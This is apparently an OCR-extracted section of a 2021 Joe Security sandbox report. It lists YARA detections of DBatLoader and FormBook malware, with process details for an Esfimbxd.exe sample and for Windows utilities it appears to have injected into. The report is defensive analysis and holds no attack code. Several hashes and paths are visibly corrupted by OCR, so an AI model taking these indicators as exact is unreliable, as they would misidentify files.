Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.565257536.00000000044C4000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000008.00000003.544180474.0000000001D1C000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.565980818.00000000044C4000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000008.00000002.603310457.0000000001D2C000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.566198951.00000000044C4000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.565719337.000000000389C000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000008.00000003.544264946.0000000001D2C000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.566332396.00000000044C4000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.565331288.000000000389C000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.565525257.00000000044C4000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.608637561.0000000004874000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000008.00000002.608637561.0000000004874000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.608637561.0000000004874000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.566048589.000000000389C000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000008.00000003.544497330.0000000001D1C000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.566256167.000000000389C000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.565630232.000000000389C000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000008.00000003.544614514.0000000001D40000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.564962472.000000000389C000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.608694553.0000000072481000.00000020.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000008.00000002.608694553.0000000072481000.00000020.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.608694553.0000000072481000.00000020.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.565804356.000000000389C000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.565037142.000000000389C000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
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00000008.00000003.565767361.00000000044C4000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

e Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.565155619.00000000044C4000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

e Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.565919206.000000000389C000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000008.00000003.544308555.0000000001D40000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000008.00000003.544544050.0000000001D30000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000008.00000003.544115744.0000000001D44000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
00000008.00000003.544390642.0000000001D2C000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.565204523.000000000389C000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

o Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.565378996.00000000044C4000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

e Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
00000008.00000003.566095697.00000000044C4000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:

00000008.00000003.544431863.0000000001D44000.00000004.00000001.sdmp, Author:

Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible

shortcut usage for .URL persistence, Source:

00000008.00000003.566398254.000000000389C000.00000004.00000001.sdmp, Author:

@itsreallynick (Nick Carr)

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:

00000008.00000003.544350421.0000000001D1C000.00000004.00000001.sdmp, Author:

Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible

shortcut usage for .URL persistence, Source:

00000008.00000003.565435086.000000000389C000.00000004.00000001.sdmp, Author:

@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible

shortcut usage for .URL persistence, Source:

00000008.00000003.565008941.00000000044C4000.00000004.00000001.sdmp, Author:

@itsreallynick (Nick Carr)

Reputation: low

File Activities Show Windows behavior

File Created

File Written

File Read

Registry Activities Show Windows behavior

Analysis Process: Esfimbxd.exe PID: 2800 Parent PID: 1764

General

Start time: 18:59:24

Start date: 02/12/2021

Path: C:\Users\user\Esfimbxd.exe
Wow64 process (32bit): true

Commandline: "C:\Users\user\Esfjmbxd.exe"
Imagebase: 0x400000

Copyright Joe Security LLC 2021 Page 33 of 40



File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:
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697856 bytes
7D68426EC31E1BC7C5E12A9E23837173

true

true

Borland Delphi

.

.

o

.

.

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588564983.0000000003A4C000.00000004.00000001.sdmp,
Author: @itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588126227.0000000004724000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588811679.0000000003A4C000.00000004.00000001.sdmp,
Author: @itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588856933.0000000004724000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
0000000B.00000003.566665565.0000000001DA0000.00000004.00000001.sdmp,
Author: Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.589154699.0000000004724000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
0000000B.00000003.566085923.0000000001DA4000.00000004.00000001.sdmp,
Author: Joe Security

Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
0000000B.00000003.566289908.0000000001DA0000.00000004.00000001.sdmp,
Author: Joe Security

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
0000000B.00000003.566501613.0000000001DA4000.00000004.00000001.sdmp,
Author: Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.589598221.0000000004724000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
0000000B.00000003.566202052.0000000001D8C000.00000004.00000001.sdmp,
Author: Joe Security

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
0000000B.00000003.566715665.0000000001D7C000.00000004.00000001.sdmp,
Author: Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.589004942.0000000004724000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588625947.0000000004724000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588510605.0000000004724000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.590084354.0000000003A4C000.00000004.00000001.sdmp,
Author: @itsreallynick (Nick Carr)

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.647079349.000000000487C000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.647079349.000000000487C000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.647079349.000000000487C000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588264614.0000000003A4C000.00000004.00000001.sdmp,
Author: @itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.589996765.0000000004064000.00000004.00000010.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
0000000B.00000003.566148762.0000000001D7C000.00000004.00000001.sdmp,
Author: Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.589071961.0000000003A4C000.00000004.00000001.sdmp,
Author: @itsreallynick (Nick Carr)
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Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
0000000B.00000003.566552143.0000000001D7C000.00000004.00000001.sdmp,
Author: Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.589736597.0000000003A4C000.00000004.00000001.sdmp,
Author: @itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588471940.0000000003A4C000.00000004.00000001.sdmp,
Author: @itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588426706.0000000004724000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588316167.0000000004724000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.589431920.0000000003A4C000.00000004.00000001.sdmp,
Author: @itsreallynick (Nick Carr)

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.647442314.0000000072481000.00000020.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.647442314.0000000072481000.00000020.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.647442314.0000000072481000.00000020.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
0000000B.00000003.566595226.0000000001D90000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.589253490.0000000003A4C000.00000004.00000001.sdmp,
Author: @itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588930070.0000000003A4C000.00000004.00000001.sdmp,
Author: @itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588694775.0000000003A4C000.00000004.00000001.sdmp,
Author: @itsreallynick (Nick Carr)

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
0000000B.00000002.642465080.0000000001D8C000.00000004.00000001.sdmp,
Author: Joe Security

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.647169348.00000000048D4000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.647169348.00000000048D4000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.647169348.00000000048D4000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588167672.0000000003A4C000.00000004.00000001.sdmp,
Author: @itsreallynick (Nick Carr)

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
0000000B.00000003.566373519.0000000001D7C000.00000004.00000001.sdmp,
Author: Joe Security

Rule: JoeSecurity_DBatlLoader, Description: Yara detected DBatLoader, Source:
0000000B.00000003.566438198.0000000001D8C000.00000004.00000001.sdmp,
Author: Joe Security

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588386407.0000000003A4C000.00000004.00000001.sdmp,
Author: @itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588750010.0000000004724000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588055915.0000000003A4C000.00000004.00000001.sdmp,
Author: @itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.588226799.0000000004724000.00000004.00000001.sdmp, Author:
@itsreallynick (Nick Carr)

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible
shortcut usage for .URL persistence, Source:
0000000B.00000003.589349293.0000000004724000.00000004.00000001.sdmp, Author:
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Reputation:

File Activities

File Created

File Written

File Read

Registry Activities

low @itsreallynick (Nick Carr)

Show Windows behavior

Show Windows behavior

Analysis Process: logagent.exe PID: 1352 Parent PID: 1264

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

18:59:45

02/12/2021
C:\Windows\SysWOW64\logagent.exe

true

C:\Windows\System32\logagent.exe
0x4a0000

95232 bytes
EA7D55E6964AA852BC7AEGF1C3349A55
true

true

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000E.00000002.620328507.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000E.00000002.620328507.0000000072480000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000E.00000002.620328507.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000E.00000002.615131533.0000000000120000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000E.00000002.615131533.0000000000120000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000E.00000002.615131533.0000000000120000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000E.00000000.598639768.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000E.00000000.598639768.0000000072480000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000E.00000000.598639768.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000E.00000000.596046676.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000E.00000000.596046676.0000000072480000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000E.00000000.596046676.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000E.00000002.615524302.0000000000290000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000E.00000002.615524302.0000000000290000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000E.00000002.615524302.0000000000290000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000E.00000000.595476317.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000E.00000000.595476317.0000000072480000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000E.00000000.595476317.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000E.00000000.599301608.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000E.00000000.599301608.0000000072480000.00000040.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000E.00000000.599301608.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate

File Activities Show Windows behavior

File Read

Analysis Process: cmstp.exe PID: 2832 Parent PID: 1764

General

Start time: 18:59:51
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Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

02/12/2021
C:\Windows\SysWOW64\cmstp.exe

true

C:\Windows\SysWOW64\cmstp.exe
0xa0000

84992 bytes
00263CA2071DC9A6EE5S77EB356B0D1D9
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000F.00000002.679947342.0000000000200000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 0000000F.00000002.679947342.0000000000200000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000F.00000002.679947342.0000000000200000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000F.00000002.679695031.0000000000100000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 0000000F.00000002.679695031.0000000000100000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000F.00000002.679695031.0000000000100000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000F.00000002.679811889.00000000001D0000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000F.00000002.679811889.00000000001D0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000F.00000002.679811889.00000000001D0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate
File Activities Show Windows behavior
File Read
Analysis Process: ipconfig.exe PID: 252 Parent PID: 1764

General

Start time: 18:59:52

Start date: 02/12/2021

Path: C:\Windows\SysWOWSe64\ipconfig.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

File Activities

Copyright Joe Security LLC 2021

true

C:\Windows\SysWOW64\ipconfig.exe
0xa40000

27136 bytes
CABB20E171770FF64614A54C1F31C033
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000010.00000002.618763905.00000000000C0000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000010.00000002.618763905.00000000000C0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000010.00000002.618763905.00000000000C0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Show Windows behavior
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File Read

Analysis Process: logagent.exe PID: 1580 Parent PID: 2800

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

File Activities

File Read

Disassembly

Code Analysis

Copyright Joe Security LLC 2021

19:00:01

02/12/2021

C:\Windows\SysWOW64\logagent.exe

true

C:\Windows\System32\logagent.exe

0x80000

95232 bytes
EA7D55E6964AA852BC7AE6F1C3349A55

true

true

C, C++ or other language

.

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000012.00000000.634841930.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000012.00000000.634841930.0000000072480000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000000.634841930.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000012.00000000.633936132.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000012.00000000.633936132.0000000072480000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000000.633936132.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000012.00000002.649627126.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000012.00000002.649627126.0000000072480000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000002.649627126.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000012.00000000.632901217.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000012.00000000.632901217.0000000072480000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000000.632901217.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000012.00000000.633270454.0000000072480000.00000040.00000001.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000012.00000000.633270454.0000000072480000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000012.00000000.633270454.0000000072480000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Show Windows behavior
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